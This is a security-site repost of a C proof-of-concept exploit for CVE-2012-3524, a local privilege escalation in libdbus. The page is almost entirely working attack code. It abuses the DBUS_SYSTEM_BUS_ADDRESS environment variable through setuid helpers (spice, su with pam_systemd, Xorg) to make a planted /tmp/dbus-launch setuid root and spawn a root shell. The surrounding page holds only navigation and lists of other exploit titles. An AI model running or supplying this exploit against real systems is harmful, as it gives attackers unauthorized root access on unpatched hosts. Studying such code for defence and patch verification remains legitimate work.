首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
libdbus 'DBUS_SYSTEM_BUS_ADDRESS' Local Privilege Escalation
来源:vfocus.net 作者:Krahmer 发布时间:2012-09-17  

/* dzug.c CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
 *
 * Trivial non-dbus root exploit. (Yes, it is 2012!)
 *
 * The underlying bug (insecure getenv() by default) has been
 * reported ages ago, but nobody really cared. Unless you have an
 * exploit...
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/stat.h>


int main(int argc, char **argv)
{
 int i = 0;
 struct stat st;
 pid_t pid = 0;
 char *env[] = {
     "PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin",
     "DBUS_STARTER_BUS_TYPE=system",
     "DBUS_SYSTEM_BUS_ADDRESS=autolaunch:",
     NULL,
     NULL
 };


 /* the pam_systemd vector */
 char *su[] = {"/bin/su", NULL, "blah", NULL};

 /* the spice vector */
 char *spice[] = {"/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper", NULL};

 /* the Xorg vector, for older Linux dists and Solaris */
 char *xorg[] = {"/usr/bin/Xorg", ":7350", NULL};

 char **a = xorg;
 char *dbus[] = {"/tmp/dbus-launch", NULL};
 char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};
 char me[0x1000];

 if (geteuid() == 0 && argc > 1) {
  chown("/tmp/dbus-launch", 0, 0);
  chmod("/tmp/dbus-launch", 04755);
  exit(errno);
 } else if (geteuid() == 0) {
  setuid(0);
  execve(*sh, sh, NULL);
  return errno;
 }

 printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n");
 memset(me, 0, sizeof(me));

 if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) {
  /* Solaris */
  readlink("/proc/self/path/a.out", me, sizeof(me) - 1);
 }
 symlink(me, "/tmp/dbus-launch");

 if (stat(spice[0], &st) == 0) {
  if ((st.st_mode & 04000) == 04000) {
   printf("[+] Using spice helper ...\n");
   a = spice;
  }
 } else if (stat("/lib64/security/pam_systemd.so", &st) == 0) {
  printf("[+] Using pam_systemd helper (type user passwd when asked) ...\n");
  env[3] = "DISPLAY=:7350";
  su[1] = getenv("USER");
  a = su;
 } else if (stat(xorg[0], &st) == 0) {
  if ((st.st_mode & 04000) == 04000)
   printf("[+] Using Xorg helper ...\n");
  else {
   printf("[-] No suitable suid helper found.\n");
   exit(0);
  }
 } else {
  printf("[-] No suitable suid helper found.\n");
  exit(0);
 }

 if ((pid = fork()) == 0) {
  execve(*a, a, env);
  exit(0);
 }

 printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n");

 for (i = 0; i < 10; ++i) {
  sleep(1);
  printf("."); fflush(stdout);
 }
 kill(pid, SIGKILL);
 waitpid(pid, NULL, 0);

 for (;;) {
  stat(*dbus, &st);
  if ((st.st_mode & 04755) == 04755)
   break;
  sleep(1);
 }
 printf("\n[!] Hurra!\n");

 execve(*dbus, dbus, NULL);
 return errno;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Internet Download Manager All
·Linux udev Netlink Local Privi
·Internet Download Manager All
·Oracle BTM FlashTunnelService
·Winamp MAKI Buffer Overflow
·Novell Groupwise 8.0.2 HP3 and
·NCMedia Sound Editor Pro v7.5.
·Huawei Internet Mobile Overflo
·WIS Coldfusion Exploit
·NCMedia Sound Editor Pro 7.5.1
·Oracle VM VirtualBox 4.1 Local
·Webmin /file/show.cgi Remote C
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved